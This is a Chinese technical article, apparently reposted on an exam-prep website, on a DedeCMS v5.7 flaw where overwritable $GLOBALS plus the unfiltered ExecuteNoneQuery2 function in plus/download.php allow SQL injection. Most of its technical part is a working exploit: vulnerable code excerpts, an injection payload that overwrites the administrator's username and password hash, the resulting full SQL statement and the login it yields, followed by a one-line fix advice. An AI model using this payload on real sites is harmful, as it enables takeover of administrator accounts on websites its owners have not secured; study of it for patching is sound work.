dedecms修改任意管理員漏洞處理方法
來源:易賢網(wǎng) 閱讀:737 次 日期:2015-03-04 11:49:48
溫馨提示:易賢網(wǎng)小編為您整理了“dedecms修改任意管理員漏洞處理方法”,方便廣大網(wǎng)友查閱!

本文實(shí)例講述了dedecms修改任意管理員漏洞處理方法。分享給大家供大家參考。具體分析如下:

織夢DEDECMS是全國用到最多的cms系統(tǒng)了,正由于用得人多而且是開源的代碼,所以分析人也多bug出現(xiàn)不少,根據(jù)小編總結(jié)出現(xiàn)bug大多是在變量上,這次又是全局變量$GLOBALS可以被任意修改導(dǎo)致的,下面來給各位演示這個bug與處理方法.

漏洞版本:dedecms v5.7

漏洞描述:起因是全局變量$GLOBALS可以被任意修改,以下舉一例,代碼如下:

復(fù)制代碼代碼如下:// include/dedesql.class.php

if(isset($GLOBALS['arrs1']))

{

$v1 = $v2 = '';

for($i=0;isset($arrs1[$i]);$i++)

{

$v1 .= chr($arrs1[$i]);

}

for($i=0;isset($arrs2[$i]);$i++)

{

$v2 .= chr($arrs2[$i]); //解碼ascii

}

$GLOBALS[$v1] .= $v2;注意這里不是覆蓋,是+

}

function SetQuery($sql)

{

$prefix="dede_";

$sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);

$this->queryString = $sql;

}

下面說下繞過80sec防注入的方法.

同一文件中,有兩個執(zhí)行SQL的函數(shù),ExecuteNoneQuery和ExecuteNoneQuery2

而用ExecuteNoneQuery2執(zhí)行SQL并沒有防注入,于是隨便找個用ExecuteNoneQuery2執(zhí)行的文件,代碼如下:

復(fù)制代碼代碼如下:// plus/download.php

else if($open==1)

{

$id = isset($id) && is_numeric($id) ? $id : 0;

$link = base64_decode(urldecode($link));

$hash = md5($link);

//這里的#@_是可以控制的

$rs = $dsql->ExecuteNoneQuery2("UPDATE `dede_downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");

if($rs <= 0) { $query = " INSERT INTO `dede_downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query);

}

header("location:$link");

exit();

}

構(gòu)造SQL語句(提交的時候用ascii加密,程序會幫我們自動解密的,所以無視gpc),代碼如下:

復(fù)制代碼代碼如下:admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #

完整SQL語句,代碼如下:

復(fù)制代碼代碼如下:UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash'

測試方法,代碼如下:

復(fù)制代碼代碼如下:// 本站提供程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,風(fēng)險自負(fù)!

如果不出問題,后臺登錄用戶spider密碼admin

安全建議:將應(yīng)用到ExecuteNoneQuery2函數(shù)的文件均改為使用ExecuteNoneQuery函數(shù)并且根據(jù)情況,調(diào)試程序盡可能不要爆出絕對路徑地址.

希望本文所述對大家的dedecms建站有所幫助。

更多信息請查看IT技術(shù)專欄

更多信息請查看CMS教程
易賢網(wǎng)手機(jī)網(wǎng)站地址:dedecms修改任意管理員漏洞處理方法
由于各方面情況的不斷調(diào)整與變化,易賢網(wǎng)提供的所有考試信息和咨詢回復(fù)僅供參考,敬請考生以權(quán)威部門公布的正式信息和咨詢?yōu)闇?zhǔn)!
相關(guān)閱讀CMS教程

2025國考·省考課程試聽報名

  • 報班類型
  • 姓名
  • 手機(jī)號
  • 驗(yàn)證碼
關(guān)于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 加入群交流 | 手機(jī)站點(diǎn) | 投訴建議
工業(yè)和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網(wǎng)安備53010202001879號 人力資源服務(wù)許可證:(云)人服證字(2023)第0102001523號
云南網(wǎng)警備案專用圖標(biāo)
聯(lián)系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關(guān)注公眾號:hfpxwx
咨詢QQ:526150442(9:00—18:00)版權(quán)所有:易賢網(wǎng)
云南網(wǎng)警報警專用圖標(biāo)